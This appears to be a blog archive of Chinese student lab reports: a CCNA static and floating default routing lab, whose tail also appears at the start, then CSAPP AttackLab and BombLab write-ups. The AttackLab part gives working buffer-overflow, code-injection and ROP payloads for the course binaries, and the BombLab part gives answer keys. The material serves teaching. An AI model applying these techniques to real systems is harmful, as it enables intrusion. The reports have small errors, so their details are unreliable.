R2(config)#no ip route 172.16.5.0 255.255.255.0 f0/0
R2(config)#no ip route 172.16.6.0 255.255.255.240 f0/0
R2(config)#ip route 0.0.0.0 0.0.0.0 172.17.1.1 10   //添加一条默认路由,带AD参数
R2(config)#ip route 0.0.0.0 0.0.0.0 172.16.4.3 20


上面实现的是删除静态路由,并且实现浮动静态路由,双出口备份。

 

R1 上的配置:

R1(config)#int lo 4
R1(config-if)#ip add 8.8.8.8 255.255.255.0


R3 上的配置:

R3>ena
R3#conf t
R3(config)#int lo 4
R3(config-if)#ip add 8.8.8.8 255.255.255.0


先看我们的配置的管理距离(AD)有没有成功。

R2 上的操作:

R2#show ip route
Gateway of last resort is 172.17.1.1 to network 0.0.0.0
 
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.4.0 is directly connected, FastEthernet0/0
     172.17.0.0/24 is subnetted, 1 subnets
C       172.17.1.0 is directly connected, FastEthernet0/1
S*   0.0.0.0/0 [10/0] via 172.17.1.1


这里的 10 是我们自己设置的管理距离,因为他默认会选择管理距离小的,也就是短的路程。

没看到管理距离为 20 的那条默认路由,我们要测试他是否有被添加上。

 

先关闭 R2 在中通往 R3 的那个接口,如果他切换到了管理距离为 20 的则测试成功。

 

R2 上的操作:

R2(config)#int f0/1
R2(config-if)#shut
R2(config-if)#end
R2#
R2#show ip route
Gateway of last resort is 172.16.4.3 to network 0.0.0.0
 
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.4.0 is directly connected, FastEthernet0/0
S*   0.0.0.0/0 [20/0] via 172.16.4.3


已经切换到 20,测试成功。

连通性测试

6、进行 pingtraceroute 进行连通性测试,使用 show ip interface briefShow ip route、等命令进行信息查看。

 

因为在后面,我们删除了 R2 上的配置,所以我们在 ping 命令时候,都是不通的,所以我在之前备份了一份使用明细路由的,我们用他来做测试。

 

PING/ traceroute:

R3 PING/ traceroute R1

Router>ping 172.17.1.0
 
Router>traceroute 172.17.1.0

R3 PING/traceroute R2

Router>ping 172.16.4.2
 
Router>traceroute 172.16.4.2

R2 PING/traceroute R1

R2>ping 172.17.1.1
 
R2>traceroute 172.17.1.1

show ip interface briefShow ip route:

R1:

R1#show ip interface brief 
Interface              IP-Address      OK? Method Status                Protocol
 
FastEthernet0/0        unassigned      YES unset  administratively down down
 
FastEthernet0/1        172.17.1.1      YES manual up                    up
 
Loopback1              172.16.1.1      YES manual up                    up
 
Loopback2              172.16.2.1      YES manual up                    up
 
Loopback3              172.16.3.1      YES manual up                    up
 
Vlan1                  unassigned      YES unset  administratively down down
 
R1#show ip route
 
Gateway of last resort is not set
 
     172.16.0.0/16 is variably subnetted, 6 subnets, 2 masks
C       172.16.1.0/24 is directly connected, Loopback1
C       172.16.2.0/24 is directly connected, Loopback2
C       172.16.3.0/24 is directly connected, Loopback3
S       172.16.4.0/24 is directly connected, FastEthernet0/1
S       172.16.5.0/24 is directly connected, FastEthernet0/1
S       172.16.6.0/28 is directly connected, FastEthernet0/1
     172.17.0.0/24 is subnetted, 1 subnets
C       172.17.1.0 is directly connected, FastEthernet0/1


R2:

R2#show ip int brief 
Interface              IP-Address      OK? Method Status                Protocol
 
FastEthernet0/0        172.16.4.2      YES manual up                    up
 
FastEthernet0/1        172.17.1.2      YES manual up                    up
 
Vlan1                  unassigned      YES unset  administratively down down
 
     172.16.0.0/16 is variably subnetted, 6 subnets, 2 masks
S       172.16.1.0/24 is directly connected, FastEthernet0/1
S       172.16.2.0/24 is directly connected, FastEthernet0/1
S       172.16.3.0/24 is directly connected, FastEthernet0/1
C       172.16.4.0/24 is directly connected, FastEthernet0/0
S       172.16.5.0/24 is directly connected, FastEthernet0/0
S       172.16.6.0/28 is directly connected, FastEthernet0/0
     172.17.0.0/24 is subnetted, 1 subnets
C       172.17.1.0 is directly connected, FastEthernet0/1

R3:

Router>show ip int br
Interface              IP-Address      OK? Method Status                Protocol
 
FastEthernet0/0        172.16.4.3      YES manual up                    up
 
FastEthernet0/1        172.16.6.3      YES manual up                    up
 
Ethernet0/1/0          172.16.5.3      YES manual up                    up
 
Vlan1                  unassigned      YES unset  administratively down down
 
     172.16.0.0/16 is variably subnetted, 6 subnets, 2 masks
S       172.16.1.0/24 is directly connected, FastEthernet0/0
S       172.16.2.0/24 is directly connected, FastEthernet0/0
S       172.16.3.0/24 is directly connected, FastEthernet0/0
C       172.16.4.0/24 is directly connected, FastEthernet0/0
C       172.16.5.0/24 is directly connected, Ethernet0/1/0
C       172.16.6.0/28 is directly connected, FastEthernet0/1
     172.17.0.0/24 is subnetted, 1 subnets
S       172.17.1.0 is directly connected, FastEthernet0/0


总结

在这个实验新学到的有静态路由,默认路由,环回口,这些命令命令都不是很难。

都有如下:

 

-ip route IP) (网关) 接口   静态路由

-ip route 0.0.0.0 0.0.0.0 接口   默认路由

-interface lookup n     进入环回口

-show ip route       查看路由表

-show ip interface brief     查看接口信息

-ip route IP) (网关) 接口 (AD 带管理距离的静态路由

 

最主要的还是接口的位置的寻找,和要添加的网段的选择。

接口的寻找,先选择一条线路,按着这个线路走,到达路由器,路由器的输出接口,就是要配置的接口。并且数据有去有回,按原路线回来后,也要寻找路由器的输出接口,这些接口都是要配置的。

网段的选择,我得出了一个结论,在同一路由器两个相邻的接口不用进行配置,因为我们在给他们配置 IP 的时候,他们就处在同一个网段。

我们要找的是相隔一个或者一个以上的,并且之前没有走过的。

 


CCNA实验报告-LAB(2)静态路由

CCNA实验报告-LAB(2)静态路由

LAB(2).Static Route

 

把实验分为两个步骤

1)拓扑图

2)路由器的配置

3)连通性测试

 

拓扑图

在拓扑中,我遇到了一些问题和解决方案:

路由器的以太网接口不够怎么办?

Physical中,先关掉设备,然后在左边的MODULES中选择相应的模块。

我们这里是以太网接口,所以我们就要在那些名字中找到有E的,即以太网口(Ethernet)。

 

 

以上是完成后的拓扑图,这里面需要注意几点:

1) 要使用相应的连接线,遵循同种设备使用交叉线,不同设备使用直连线。

2) 可以把相应的网段用Place Note功能添加网段和子网掩码,以免忘记。

 

路由器的配置

我们从要求可以大概分为如下几个部分:

1) 准备阶段。

2) 使用静态路由,实现全网互联。

3) 使用默认路由,实现全网互联。

4) 浮动静态路由,双出口备份。

5) 设备间连通性的测试。

 

准备阶段

1、某网络拓扑结构如果所示,在每个路由器上配好相应的加速指令,并改好相应的名字。

 

R3为例,这里的配置都是相同的,只是在配置路由器的名字的时候有所不同。

 

R3中的配置:

Router>enable  //进入全局模式
Router#conf t  //进入特权模式
Router(config)#no ip domain loo
Router(config)#host
Router(config)#hostname R3
R3(config)#


这里就帮R3配置了主机名,和加速指令,在适当的路由器上配置。

 

2、Router 1上有3个回环口,IP地址如图(注意掩码长度),Router 3连接两台PC,整个网络存在不连续子网问题,现要求实现全网互联。

 

这里我们不急着敲代码,先看要求,首先要在R1上设置3个回环口。然后注意看一下子网掩码,大多是/24,也就是255.255.255.0,但是172.16.6.0/28这里是28,通过计算也就是他的子网掩码是255.255.255.240。接下来就是对每个接口的配置,对路由器上的每个端口都设置IP,子网掩码。并且开启(默认是关闭的)。

 

R3中的配置:

R3(config)#interface ethernet 0/1/0   //进入接口命令
R3(config-if)#ip add 172.16.5.3 255.255.255.0 //设置IP子网掩码
R3(config-if)#no shut      //开启接口命令
R3(config-if)#exit
R3(config)#int f0/0
R3(config-if)#ip add 172.16.4.3 255.255.255.0
R3(config-if)#no shut
R3(config-if)#exit
R3(config)#int f0/1
R3(config-if)#ip add 172.16.6.3 255.255.255.240
R3(config-if)#no shut



R2中的配置:

R2(config)#int f0/0
R2(config-if)#ip add 172.16.4.2 255.255.255.0
R2(config-if)#no shut
R2(config-if)#exit
R2(config)#int f0/1
R2(config-if)#ip add 172.17.1.2 255.255.255.0
R2(config-if)#no shut


R1中的配置:

R1(config)#int f0/1
R1(config-if)#ip add 172.17.1.1 255.255.255.0
R1(config-if)#no shut
R1(config-if)#exit
R1(config)#int lo 1       //进入回环口1
R1(config-if)#ip add 172.16.1.1 255.255.255.0
R1(config-if)#exit
R1(config)#int lo 2
R1(config-if)#ip add 172.16.2.1 255.255.255.0
R1(config-if)#exit
R1(config)#int lo 3
R1(config-if)#ip add 172.16.3.1 255.255.255.0



 

当所有的接口都是绿色的时候,就说明所有的接口都配置好了,如果有的没有变成绿色,就说明没有配置,或者没有开启。这里IP的设置,我们要选择自己容易记住的,我这里采用的是第几台路由器,最后一位就是几。

还有这里我们如果后面要用这里的PC机来测试连通性,就要为PC配置IP,网关和子网掩码。IP只需要在网段以内,子网掩码和默认网关就是和他直连的路由器那个接口的子网掩码和IP

 

使用静态路由,实现全网互联

3、在各路由器上配置静态路由,要求使用明细路由实现全网互联,注意分析计算所配置的路由条目的数量。

 

这里我们不着急敲命令,我们再看下要求,这里有个重要的要求,就是要使用明细路由,不能是经过汇总的路由。

 

我们要实现全网互联,我们先找出拓扑图中,的头和尾,假设PC1是开头,经过所有的路由器最终到达R1的第一个回环口。

 

 

我们先从PC1开始,经过的第一个路由器R3,我们从PC1出发,到达e0/1/0接口是入接口,而到达f0/0是出接口,我们要把数据包从这个接口送出去,就配置这个接口。

首先,先去掉走过的路线,然后再去掉和这个路由器直接连接的那些线,去掉后,剩下的网段,就是我们要在这个接口添加的网段。

 

R3中的配置:

R3(config)#ip route 172.17.1.0 255.255.255.0 f0/0  //添加一条静态路由
R3(config)#ip route 172.16.1.0 255.255.255.0 f0/0
R3(config)#ip route 172.16.2.0 255.255.255.0 f0/0
R3(config)#ip route 172.16.3.0 255.255.255.0 f0/0

 

R2中的配置:

R2(config)#ip route 172.16.1.0 255.255.255.0 f0/1
R2(config)#ip route 172.16.2.0 255.255.255.0 f0/1
R2(config)#ip route 172.16.3.0 255.255.255.0 f0/1


 

这里的Loo123都可以看作是和路由器R1直接连接的接口。

 

刚才是PC1发送数据包的路通了,但是收到数据包后,他要做出相应的相应,返回一个数据包,表示收到数据包。但是,我们从R1开始,就找不到我们发出数据包的PC1的网段了。我们还要为送出数据包的接口配置。

这次的起点是R1,如上方法找传送数据包的接口。

 

R1的配置:

R1(config)#ip route 172.16.4.0 255.255.255.0 f0/1
R1(config)#ip route 172.16.5.0 255.255.255.0 f0/1
R1(config)#ip route 172.16.6.0 255.255.255.240 f0/1


R2中的配置:

R2(config)#ip route 172.16.5.0 255.255.255.0 f0/0
R2(config)#ip route 172.16.6.0 255.255.255.240 f0/0

 

配置完后,我们等待一会,然后再进行连通性的测试。

 

PC1中的操作:

PC>ping 172.16.1.1

 

这样就说明成功了。

 

 

 

 

 

 

 

使用默认路由,实现全网互联

4.在各路由器上配置静态路由,要求使用明细路由实现全网互联,注意分析计算所配置的路由条目的数量。

 

需要的操作有:

1)删除适当的静态路由条目

2)在适当的地方添加默认路由

 

R1中的配置:

R1(config)#no ip route 172.16.4.0 255.255.255.0 f0/1   //删除一条静态路由
R1(config)#no ip route 172.16.5.0 255.255.255.0 f0/1
R1(config)#no ip route 172.16.6.0 255.255.255.240 f0/1
R1(config)#ip route 0.0.0.0 0.0.0.0 f0/1      //添加一条默认路由


R3中的配置:

R3(config)#no ip route 172.16.1.0 255.255.255.0 f0/0
R3(config)#no ip route 172.16.2.0 255.255.255.0 f0/0
R3(config)#no ip route 172.16.3.0 255.255.255.0 f0/0
R3(config)#no ip route 172.17.1.0 255.255.255.0 f0/0
R3(config)#ip route 0.0.0.0 0.0.0.0 f0/0


我们只删除R1R3中的配置,因为R2承担两边的流量,不适合默认路由。

 

然后我们再进行连通性的测试。

 

PC1中的操作:

PC>ping 172.16.1.1

 

配置成功。

 

 

 

浮动静态路由,双出口备份

5、删除R2上配置的静态路由,将R2当做企业出口网关路由器,将R1当电信,R3当联通,R1 R3上分别配置环回口 ,IP地址都设为8.8.8.8来模拟互联网服务器,R2上通过默认路由访问互联网,实现双出口冗余(浮动静态路由,双出口备份)。

 

1)删除R2上的静态路由,并且添加默认路由。

2)R1R3上配置环回口。

3)测试。

 

R2上的配置:

R2(config)#no ip route 172.16.1.0 255.255.255.0 f0/1
R2(config)#no ip route 172.16.2.0 255.255.255.0 f0/1
R2(config)#no ip route 172.16.3.0 255.255.255.0 f0/1
R2(config)#no ip route 172.16.5.0 255.255.255.0 f0/0
R2(config)#no ip route 172.16.6.0 255.255.255.240 f0/0
R2(config)#ip route 0.0.0.0 0.0.0.0 172.17.1.1 10   //添加一条默认路由,带AD参数
R2(config)#ip route 0.0.0.0 0.0.0.0 172.16.4.3 20


上面实现的是删除静态路由,并且实现浮动静态路由,双出口备份。

 

R1上的配置:

R1(config)#int lo 4
R1(config-if)#ip add 8.8.8.8 255.255.255.0


R3上的配置:

R3>ena
R3#conf t
R3(config)#int lo 4
R3(config-if)#ip add 8.8.8.8 255.255.255.0


先看我们的配置的管理距离(AD)有没有成功。

R2上的操作:

R2#show ip route
Gateway of last resort is 172.17.1.1 to network 0.0.0.0
 
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.4.0 is directly connected, FastEthernet0/0
     172.17.0.0/24 is subnetted, 1 subnets
C       172.17.1.0 is directly connected, FastEthernet0/1
S*   0.0.0.0/0 [10/0] via 172.17.1.1


这里的10是我们自己设置的管理距离,因为他默认会选择管理距离小的,也就是短的路程。

没看到管理距离为20的那条默认路由,我们要测试他是否有被添加上。

 

先关闭R2在中通往R3的那个接口,如果他切换到了管理距离为20的则测试成功。

 

R2上的操作:

R2(config)#int f0/1
R2(config-if)#shut
R2(config-if)#end
R2#
R2#show ip route
Gateway of last resort is 172.16.4.3 to network 0.0.0.0
 
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.4.0 is directly connected, FastEthernet0/0
S*   0.0.0.0/0 [20/0] via 172.16.4.3


已经切换到20,测试成功。

连通性测试

6、进行pingtraceroute进行连通性测试,使用show ip interface briefShow ip route、等命令进行信息查看。

 

因为在后面,我们删除了R2上的配置,所以我们在ping命令时候,都是不通的,所以我在之前备份了一份使用明细路由的,我们用他来做测试。

 

PING/ traceroute:

R3 PING/ traceroute R1

Router>ping 172.17.1.0
 
Router>traceroute 172.17.1.0

R3 PING/traceroute R2

Router>ping 172.16.4.2
 
Router>traceroute 172.16.4.2

R2 PING/traceroute R1

R2>ping 172.17.1.1
 
R2>traceroute 172.17.1.1

show ip interface briefShow ip route:

R1:

R1#show ip interface brief 
Interface              IP-Address      OK? Method Status                Protocol
 
FastEthernet0/0        unassigned      YES unset  administratively down down
 
FastEthernet0/1        172.17.1.1      YES manual up                    up
 
Loopback1              172.16.1.1      YES manual up                    up
 
Loopback2              172.16.2.1      YES manual up                    up
 
Loopback3              172.16.3.1      YES manual up                    up
 
Vlan1                  unassigned      YES unset  administratively down down
 
R1#show ip route
 
Gateway of last resort is not set
 
     172.16.0.0/16 is variably subnetted, 6 subnets, 2 masks
C       172.16.1.0/24 is directly connected, Loopback1
C       172.16.2.0/24 is directly connected, Loopback2
C       172.16.3.0/24 is directly connected, Loopback3
S       172.16.4.0/24 is directly connected, FastEthernet0/1
S       172.16.5.0/24 is directly connected, FastEthernet0/1
S       172.16.6.0/28 is directly connected, FastEthernet0/1
     172.17.0.0/24 is subnetted, 1 subnets
C       172.17.1.0 is directly connected, FastEthernet0/1


R2:

R2#show ip int brief 
Interface              IP-Address      OK? Method Status                Protocol
 
FastEthernet0/0        172.16.4.2      YES manual up                    up
 
FastEthernet0/1        172.17.1.2      YES manual up                    up
 
Vlan1                  unassigned      YES unset  administratively down down
 
     172.16.0.0/16 is variably subnetted, 6 subnets, 2 masks
S       172.16.1.0/24 is directly connected, FastEthernet0/1
S       172.16.2.0/24 is directly connected, FastEthernet0/1
S       172.16.3.0/24 is directly connected, FastEthernet0/1
C       172.16.4.0/24 is directly connected, FastEthernet0/0
S       172.16.5.0/24 is directly connected, FastEthernet0/0
S       172.16.6.0/28 is directly connected, FastEthernet0/0
     172.17.0.0/24 is subnetted, 1 subnets
C       172.17.1.0 is directly connected, FastEthernet0/1

R3:

Router>show ip int br
Interface              IP-Address      OK? Method Status                Protocol
 
FastEthernet0/0        172.16.4.3      YES manual up                    up
 
FastEthernet0/1        172.16.6.3      YES manual up                    up
 
Ethernet0/1/0          172.16.5.3      YES manual up                    up
 
Vlan1                  unassigned      YES unset  administratively down down
 
     172.16.0.0/16 is variably subnetted, 6 subnets, 2 masks
S       172.16.1.0/24 is directly connected, FastEthernet0/0
S       172.16.2.0/24 is directly connected, FastEthernet0/0
S       172.16.3.0/24 is directly connected, FastEthernet0/0
C       172.16.4.0/24 is directly connected, FastEthernet0/0
C       172.16.5.0/24 is directly connected, Ethernet0/1/0
C       172.16.6.0/28 is directly connected, FastEthernet0/1
     172.17.0.0/24 is subnetted, 1 subnets
S       172.17.1.0 is directly connected, FastEthernet0/0


总结

在这个实验新学到的有静态路由,默认路由,环回口,这些命令命令都不是很难。

都有如下:

 

-ip route IP) (网关) 接口   静态路由

-ip route 0.0.0.0 0.0.0.0 接口   默认路由

-interface lookup n     进入环回口

-show ip route       查看路由表

-show ip interface brief     查看接口信息

-ip route IP) (网关) 接口 (AD 带管理距离的静态路由

 

最主要的还是接口的位置的寻找,和要添加的网段的选择。

接口的寻找,先选择一条线路,按着这个线路走,到达路由器,路由器的输出接口,就是要配置的接口。并且数据有去有回,按原路线回来后,也要寻找路由器的输出接口,这些接口都是要配置的。

网段的选择,我得出了一个结论,在同一路由器两个相邻的接口不用进行配置,因为我们在给他们配置IP的时候,他们就处在同一个网段。

我们要找的是相隔一个或者一个以上的,并且之前没有走过的。

 


CSAPP_AttackLab实验报告

CSAPP_AttackLab实验报告

[TOC]

屏幕截图

考察内容

本次lab主要考察对栈帧的掌握程度以及对Ctrl+F的掌握程度。

各题答案

level1

00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
c0 17 40 00

level2

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55

level3

48 c7 c7 ac dc 61 55 68
fa 18 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55 00 00 00 00
00 00 00 00 35 39 62 39
39 37 66 61 00 00 00 00

level4

00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

level5

00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00

解题思路

level1

任务

利用缓冲区溢出使getbuf函数结束后返回touch1。

思路

将可执行文件ctarget反汇编后,查看getbuf部分的指令:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>

从语句4017a8可以看出,getbuf函数预留的缓冲区长度为40byte。根据栈帧结构,只需要先用40byte的无意义数据覆盖缓冲区,再输入touch1函数的首地址就完成了。同时这个attack是免疫栈随机化和栈不可运行的。

查看touch1的首地址为0x4017c0,根据小端法,只需要在无意义数据的后面添上c0 17 40即可。

level2

任务

利用缓冲区溢出使getbuf结束后返回touch2,同时寄存器rdi的值被修改为0x59b997fa。

思路

因为需要利用缓冲区溢出修改寄存器的值,因此联想到将指令写入栈中并在栈上运行。

新建文件1.s,在其中写入以下内容:

movq $0x59b997fa,%rdi //将rdi里的值修改为cookie
pushq $0x4017ec       //将touch2的首地址压入栈中
ret

在终端中执行指令gcc -c 1.s,将汇编语言编译为二进制文件,然后再通过objdump指令反汇编,得出汇编指令的机器语言:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

将机器语言代码加入exploit.txt中,用gdb调试查看getbuf开辟缓冲区后rsp的值为0x5561dc78,因此在覆盖数据后加入78 dc 61 55即可。

level3

任务

利用缓冲区溢出使getbuf结束后返回touch3,同时使寄存器rdi指向"59b997fa"字符串的首地址。

思路

首先的思路是将level2的机器代码稍微改一下:将字符串的ASCII码放在缓冲区中,机器语言代码中将寄存器rdi的值改为栈中字符串的首地址,然后将touch3的首地址压入栈中。

尝试之后发现返回结果不是PASS而是misfire。调用gdb查看rip指向touch3时原getbuf缓冲区的值,发现由于getbuf缓冲区长度过小,导致调用touch3后由于退栈导致rsp覆盖了原本放置字符串的区域。因此将cookie放在缓冲区中是不可行的。

后来想到既然由于函数跳转,getbuf的栈帧不可用,那么可以将字符串放在相较getbuf栈帧更接近底层的地方,也就是放在返回地址的后面。这样更加不容易被覆盖。

level4

任务

在开启栈随机化和栈不可执行的条件下,利用缓冲区溢出和ROP注入完成level2的任务。

思路

由于栈不可执行,level2中直接在栈上执行代码的方法失效了。PPT提示使用ROP注入的方式。意思是在rtarget的farm部分中有一大堆奇怪的函数,这些函数代码编译后的二进制形式的某一部分可以被理解为汇编指令。因此可以将getbuf的返回地址重定向到该部分开头处,就可以间接达成任务要求。

然而并没有发现在farm中有类似movq $0x59b997fa,%rdi这样的语句。再加上ROP table.pdf中给出的只有从寄存器到寄存器、从栈到寄存器的操作。因此想到可以先将0x59b997fa存放在栈中,然后利用farm里的popq操作将cookie间接赋给rdi。

利用Ctrl+F在反汇编后的rtarget文件的farm部分中查找和popq有关的关键字,发现只有在<addval_219>中含有和popq有关的关键字,且之后内容为代表空的"90"。

00000000004019a7 <addval_219>:
  //下行“58”开头的代码等价于"popq %rax"
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax 
  4019ad:	c3 

然而该level要求的是将寄存器rdi的值赋为cookie,而非rax。因此考虑利用movq操作将rax的值赋给rdi。猜想代表"movq %rax,%rdi"的"48 89 c7",最后在<setval_426>中找到了它。

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq

因此只要将各个模块组装起来就好了。最后的栈帧结构大致是这样的:

地址 代码大意
x-24~x-4 覆盖缓冲区数据
x 跳转至<addval_219>,执行popq
x+4
x+8 存放cookie
x+12
x+16 跳转至<setval_426>,执行movl
x+20
x+24 跳转至touch2

两个ROP之间的byte留空的原因是每次函数返回后,执行popq指令,rsp-8,如果不留空的话会导致数据被覆盖。

具体代码见各题答案。

level5

任务

在开启栈随机化和栈不可执行的条件下,利用缓冲区溢出和ROP注入完成level3的任务。

(据说是非常非常难的,可我觉得就是一个gadget收集大赛……)

思路

有了level4作铺垫,那level5的解题思路也就不难想到了。

于是开始收集各种(可能)有用的gadget(体会到了Ctrl+F真的是神器啊……):

作用 地址
popq %rax 0x4019ab
movq %rax,%rdi 0x4019c5
movq %rsp,%rax 0x401a06,0x401aad
movl %eax,%edx 0x4019dd
movl %eax,%edi 0x4019c6
movl %ecx,%esi 0x401a13,0x401a27
movl %edx,%ecx 0x401a69,0x401a34
movl %esp,%eax 0x401a3c,0x401a86,0x401aae,0x401a07
rax=rdi+rsi 0x4019d6

最后一个尤其特殊。它不是某个函数的一部分,而是整个函数的作用就是将rax的值修改为rdi+rsi。由于PPT中提到某些gadget的画风可能和其他gadget不太一样,因此猜想这个gadget是解决level5的关键。

考虑如何解决level5。容易想到和level3一样把字符串放在栈中。只是因为开启了栈随机化,没有办法把一个绝对地址通过直接或间接的方法赋给rdi,因为这个字符串的首地址每次运行rtarget时都会改变。因此考虑相对地址,也就是计算出rsp和字符串首地址的距离,将两者相加赋给rdi。因此add_xy派上了用场。

设相对距离为x,那么最终目的是rdi=rsp+x。目前我们拥有的函数是rax=rdi+rsi,因此需要通过某种途径将rsp赋给rdi,将x赋给rsi,最后将计算结果rax赋给rdi。通过gadget我们可以轻松地画出两条传递链:

rsp-->rax-->rdi
pushq x-->rax(eax)-->edx-->ecx-->esi(rsi)

因此整个解题逻辑就十分清楚了。

栈帧结构:

地址 代码大意
x~x+20 覆盖数据
x+24 movq %rsp,%rax
x+32 movq %rax,%rdi
x+40 偏移量(本题中为0x48)
x+48 popq %rax
x+56 movl %eax,%edx
x+64 movl %edx,%ecx
x+72 movl %ecx,%esi
x+80 add_xy
x+88 movq %rax,%rdi
x+96 返回touch3

按照栈帧结构填入对应地址或值即可。

Reference

  1. AttackLab.pptx
  2. 深入理解计算机系统attack lab

CSAPP_BombLab实验报告

CSAPP_BombLab实验报告

Lab_2实验报告

[TOC]

屏幕截图

考察内容

本次lab主要考察的是对各种汇编指令的熟悉程度和对gdb的掌握程度。

各题答案

bomb1

Border relations with Canada have never been better.

该答案唯一。

bomb2

1 2 4 8 16 32

该答案唯一。

bomb3

6 682

该答案不唯一。

答案表:

x y
0 207(0xcf)
1 311(0x137)
2 707(0x2c3)
3 256(0x100)
4 389(0x185)
5 206(0xce)
6 682(0x2aa)
7 327(0x147)

bomb4

0 0

该答案不唯一。

答案表:

x y
0 0
1 0
3 0
7 0

bomb5

9/.567

该答案不唯一。

答案规律:

一个长度为6的字符串,其中从左到右每个字符的十六进制形式下ASCII码的末位依次为:9、e、f、5、6、7。

bomb6

4 3 2 1 6 5

该答案唯一。

secret_phase

22

该答案唯一性不确定。

解题思路

bomb1

核心代码部分只有一个:

  400ee4:	be 00 24 40 00       	mov    $0x402400,%esi
  400ee9:	e8 4a 04 00 00       	callq  401338 <strings_not_equal>
  400eee:	85 c0                	test   %eax,%eax
  400ef0:	74 05                	je     400ef7 <phase_1+0x17>
  400ef2:	e8 43 05 00 00       	callq  40143a <explode_bomb>
  400ef7:	48 83 c4 08          	add    $0x8,%rsp

查看函数<strings_not_equal>,发现其功能是比较以%rdi和%rsi为首地址的两个字符串是否相等,如果相等返回0,不相等返回1。

因此结合bomb1中的情景可以发现,调用<explode_bomb>的条件是输入的字符串和以%rsi为首地址的字符串不相等。通过gdb得知以%rsi为首地址的字符串为"Border relations with Canada have never been better.",得出答案。

bomb2

核心代码以及翻译:

  400f0a:	83 3c 24 01          	cmpl   $0x1,(%rsp)
  400f0e:	74 20                	je     400f30 <phase_2+0x34>
  400f10:	e8 25 05 00 00       	callq  40143a <explode_bomb>
  400f15:	eb 19                	jmp    400f30 <phase_2+0x34>
  400f17:	8b 43 fc             	mov    -0x4(%rbx),%eax
  400f1a:	01 c0                	add    %eax,%eax
  400f1c:	39 03                	cmp    %eax,(%rbx)
  400f1e:	74 05                	je     400f25 <phase_2+0x29>
  400f20:	e8 15 05 00 00       	callq  40143a <explode_bomb>
  400f25:	48 83 c3 04          	add    $0x4,%rbx
  400f29:	48 39 eb             	cmp    %rbp,%rbx
  400f2c:	75 e9                	jne    400f17 <phase_2+0x1b>
  400f2e:	eb 0c                	jmp    400f3c <phase_2+0x40>
  400f30:	48 8d 5c 24 04       	lea    0x4(%rsp),%rbx
  400f35:	48 8d 6c 24 18       	lea    0x18(%rsp),%rbp
  400f3a:	eb db                	jmp    400f17 <phase_2+0x1b>
if(*rsp!=1)explode_bomb;
rbx=rsp+4;
rbp=rsp+24;
do
  eax=rbx-4;
  eax*=2;
  if(eax!=(*rbx))explode_bomb;
  rbx+=4;
while(rbp!=rbx);

phase_2在调用<read_six_numbers>,读入六个数存放在rsp至rsp+24后,判断第一个数是否为1,如果不是则调用<explode_bomb>。然后循环遍历六个数,%eax为%rbx的前驱。如果%rbx不为%eax的两倍,则调用<explode_bomb>。因此可以得出答案为长度为6,首项为1,公比为2的等比数列,即"1,2,4,8,16,32"。

bomb3

输入部分

  400f51:	be cf 25 40 00       	mov    $0x4025cf,%esi
  400f56:	b8 00 00 00 00       	mov    $0x0,%eax
  400f5b:	e8 90 fc ff ff       	callq  400bf0 <__isoc99_sscanf@plt>
  400f60:	83 f8 01             	cmp    $0x1,%eax
  400f63:	7f 05                	jg     400f6a <phase_3+0x27>
  400f65:	e8 d0 04 00 00       	callq  40143a <explode_bomb>
  400f6a:	83 7c 24 08 07       	cmpl   $0x7,0x8(%rsp)
  400f6f:	77 3c                	ja     400fad <phase_3+0x6a>

通过gdb查看首地址为0x4025cf的字符串,结果为"%d %d",结合下文的__isoc99_sscanf@plt可知,要求输入的数字个数为2,进一步通过0x400f63~0x400f65“判断输入个数是否大于1”也能得出相同的结论。最后,0x400f63~0x400f6f语句表示第一个输入的数字为小于7的非负数。

分支部分

  400f71:	8b 44 24 08          	mov    0x8(%rsp),%eax
  400f75:	ff 24 c5 70 24 40 00 	jmpq   *0x402470(,%rax,8)
  400f7c:	b8 cf 00 00 00       	mov    $0xcf,%eax
  400f81:	eb 3b                	jmp    400fbe <phase_3+0x7b>
  ...
  400fad:	e8 88 04 00 00       	callq  40143a <explode_bomb>
  400fb2:	b8 00 00 00 00       	mov    $0x0,%eax
  400fb7:	eb 05                	jmp    400fbe <phase_3+0x7b>
  400fb9:	b8 37 01 00 00       	mov    $0x137,%eax
  400fbe:	3b 44 24 0c          	cmp    0xc(%rsp),%eax
  400fc2:	74 05                	je     400fc9 <phase_3+0x86>
  400fc4:	e8 71 04 00 00       	callq  40143a <explode_bomb>

